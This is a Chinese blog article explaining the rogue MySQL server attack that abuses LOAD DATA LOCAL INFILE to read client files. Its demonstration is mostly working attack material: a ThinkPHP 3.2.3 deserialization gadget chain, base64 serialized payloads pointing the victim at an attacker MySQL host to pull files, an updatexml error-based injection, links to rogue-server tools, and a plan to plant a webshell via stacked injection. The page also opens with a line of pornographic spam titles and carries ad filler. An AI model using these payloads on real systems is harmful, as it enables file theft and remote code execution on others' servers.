日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問(wèn)題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營(yíng)銷解決方案
淺析MySQL惡意服務(wù)器讀取文件原理

前言

搭建MySQL惡意服務(wù)器讀取文件這件事,雖然直接利用門檻較高,但是由于在網(wǎng)上看到了一種比較新穎的利用方式(利用社會(huì)工程學(xué)引誘用戶連接MySQL進(jìn)而讀取用戶文件),個(gè)人覺(jué)得比較有意思,總結(jié)了一下攻擊原理以及攻擊方式,因此就有了這篇文章。

普蘭網(wǎng)站制作公司哪家好,找創(chuàng)新互聯(lián)公司!從網(wǎng)頁(yè)設(shè)計(jì)、網(wǎng)站建設(shè)、微信開(kāi)發(fā)、APP開(kāi)發(fā)、響應(yīng)式網(wǎng)站等網(wǎng)站項(xiàng)目制作,到程序開(kāi)發(fā),運(yùn)營(yíng)維護(hù)。創(chuàng)新互聯(lián)公司2013年至今到現(xiàn)在10年的時(shí)間,我們擁有了豐富的建站經(jīng)驗(yàn)和運(yùn)維經(jīng)驗(yàn),來(lái)保證我們的工作的順利進(jìn)行。專注于網(wǎng)站建設(shè)就選創(chuàng)新互聯(lián)公司。

原理

在闡述具體原理之前,先介紹幾個(gè)SQL語(yǔ)句,以便后文理解。

首先在tmp目錄下新建一個(gè)tmp.txt。

內(nèi)容如下:

然后執(zhí)行下方SQL語(yǔ)句,即可將tmp.txt文件導(dǎo)入其中

mysql> load data local infile "/tmp/tmp.txt" into table test fields terminated by '\n';
Query OK, 3 rows affected (2.63 sec)
Records: 3 Deleted: 0 Skipped: 0 Warnings: 0

mysql> select * from Test;
+-------+
| name |
+-------+
| admin |
| user |
| Lxxx |
+-------+
3 rows in set (0.00 sec)
  • load data local infile語(yǔ)句會(huì)讀取客戶端本地的文件
  • load data infile語(yǔ)句會(huì)讀取服務(wù)端本地的文件
  • terminated by表示以某某字符分割,默認(rèn)為Tab,這里我設(shè)置為了\n

這個(gè)時(shí)候可能就會(huì)繞不清楚,什么是服務(wù)端,什么是客戶端?

因?yàn)橐话闱闆r下,調(diào)試SQL都是在本機(jī),并且數(shù)據(jù)庫(kù)也在本機(jī),這樣的情況就導(dǎo)致,客戶端和服務(wù)端都是在本地,有點(diǎn)難區(qū)分,下面我用一張圖來(lái)簡(jiǎn)述。

在本地,由于客戶端和服務(wù)端都是在同一個(gè)磁盤下,因此,在本地,無(wú)論是否加local都是可以將文件傳入數(shù)據(jù)庫(kù)的,而后面講到利用MySQL惡意服務(wù)器讀取文件的漏洞,就是需要使用local,來(lái)達(dá)到將文件帶出的目的。

下面我畫(huà)了兩張圖,第一張圖是正常業(yè)務(wù)流程,第二張圖是攻擊者惡意攻擊的流程

正常的后端業(yè)務(wù)流程如下:

當(dāng)攻擊者劫持后端服務(wù)器,并且在公網(wǎng)中搭建惡意的MySQL后,流程圖如下:

這樣攻擊者就可以在后端達(dá)到任意文件下載的目的。

演示

雖說(shuō)在之前的某個(gè)CTF比賽出過(guò)類似的題目,但是我這里還是使用ThinkPHP3.2.3存在的反序列化漏洞,結(jié)合MySQL惡意服務(wù)器讀取敏感文件,進(jìn)而RCE的樣例。

首先在本地先啟動(dòng)一個(gè)ThinkPHP3.2.3的框架,連接好數(shù)據(jù)庫(kù),在Application/Home/Controller/HelloController.class.php控制器中寫(xiě)一個(gè)反序列化入口。

namespace Home\Controller;

use Think\Controller;

class HelloController extends Controller
{
public function index($Lxxx){
echo base64_decode($Lxxx);
$a = unserialize(base64_decode($Lxxx));
}
}

具體的鏈子,我就不跟了,網(wǎng)上也有很多,雖然鏈子具體的方法不跟進(jìn),但是我還是需要介紹一下這條鏈子能起到一個(gè)什么作用。

  1. 首先需要一個(gè)反序列化入口,這是毋庸置疑的,沒(méi)有反序列化入口,那就無(wú)法進(jìn)行反序列化,所以上方我就在HelloController控制器中自己寫(xiě)了一個(gè)反序列化入口。
  2. 這條鏈子最終的鏈尾是需要數(shù)據(jù)庫(kù)的相關(guān)信息,例如數(shù)據(jù)庫(kù)名,數(shù)據(jù)庫(kù)端口,數(shù)據(jù)庫(kù)用戶以及密碼,并且這條鏈子是允許使用堆疊注入的,因此如果知道數(shù)據(jù)庫(kù)相關(guān)信息,那么就可以利用堆疊注入寫(xiě)入一句話木馬進(jìn)而getshell。

這里我就直接將鏈子放出來(lái),然后演示一下如何搭建一個(gè)惡意的MySQL數(shù)據(jù)庫(kù),獲取敏感文件,進(jìn)而getshell。

namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 開(kāi)啟才能讀取文件
);
protected $config = array(
"debug" => 1,
"database" => "tp323",
"hostname" => "127.0.0.1",
"hostport" => "8889",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}

namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;

public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;

public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;

public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",
"where" => "1=1"
);
}
}
}

namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

上方鏈子中的數(shù)據(jù)庫(kù)信息為我本地的數(shù)據(jù)庫(kù)信息,執(zhí)行該文件后,得到序列化字符串如下:

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJ0cF91c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdmVyc2lvbigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo4OiJob3N0cG9ydCI7czo0OiI4ODg5IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo4OiJ1c2VybmFtZSI7czo0OiJyb290IjtzOjg6InBhc3N3b3JkIjtzOjQ6InJvb3QiO319fX19

傳給url

可以看到報(bào)錯(cuò)注入成功,然后,在公網(wǎng)上搭建一個(gè)惡意的MySQL服務(wù),這個(gè)腳本在Github中已經(jīng)有前輩寫(xiě)好了,具體原理就是分析相關(guān)的MySQL報(bào)文,然后與后端服務(wù)器創(chuàng)建惡意連接,并且獲得自己想要的文件,這里貼出幾個(gè)連接,有些項(xiàng)目可能在新的MySQL版本中無(wú)法使用。

  • https://github.com/Gifts/Rogue-MySql-Server
  • https://github.com/allyshka/Rogue-MySql-Server
  • https://github.com/jas502n/CVE-2019-12086-jackson-databind-file-read

下載好POC之后,修改一下要讀取的文件名。

然后利用Python啟動(dòng),啟動(dòng)完成后,惡意的MySQL就在監(jiān)聽(tīng)3307端口

python rogue_mysql_server.py

接下來(lái)修改之前的鏈子,把IP和端口修改為遠(yuǎn)程惡意的MySQL地址,然后生成鏈子。

namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 開(kāi)啟才能讀取文件
);
protected $config = array(
"debug" => 1,
"database" => "tp323",
"hostname" => "1.1.1.1",
"hostport" => "3307",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}

namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;

public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;

public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;

public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",
"where" => "1=1"
);
}
}
}

namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

得到:

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJ0cF91c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdmVyc2lvbigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjc6IjEuMS4xLjEiO3M6ODoiaG9zdHBvcnQiO3M6NDoiMzMwNyI7czo3OiJjaGFyc2V0IjtzOjQ6InV0ZjgiO3M6ODoidXNlcm5hbWUiO3M6NDoicm9vdCI7czo4OiJwYXNzd29yZCI7czo0OiJyb290Ijt9fX19fQ==

傳給HomeController控制器,然后就可以在遠(yuǎn)程VPS中的mysql.log得到之前需要惡意下載的文件。

現(xiàn)在得到了相關(guān)數(shù)據(jù)庫(kù)信息,然后就可以再次構(gòu)造鏈子,利用堆疊注入寫(xiě)入一句話木馬getshell了。

使用場(chǎng)景

  • 能劫持后端服務(wù)器,但無(wú)法getshell的時(shí)候,可以采用這個(gè)方法getshell(例如ThinkPHP3.2.3的利用鏈只能到數(shù)據(jù)庫(kù)層,則可以通過(guò)這個(gè)方法getshell)
  • 能引誘用戶連接惡意MySQL(社會(huì)工程學(xué))?

網(wǎng)頁(yè)標(biāo)題:淺析MySQL惡意服務(wù)器讀取文件原理
網(wǎng)頁(yè)地址:http://m.5511xx.com/article/cdshecj.html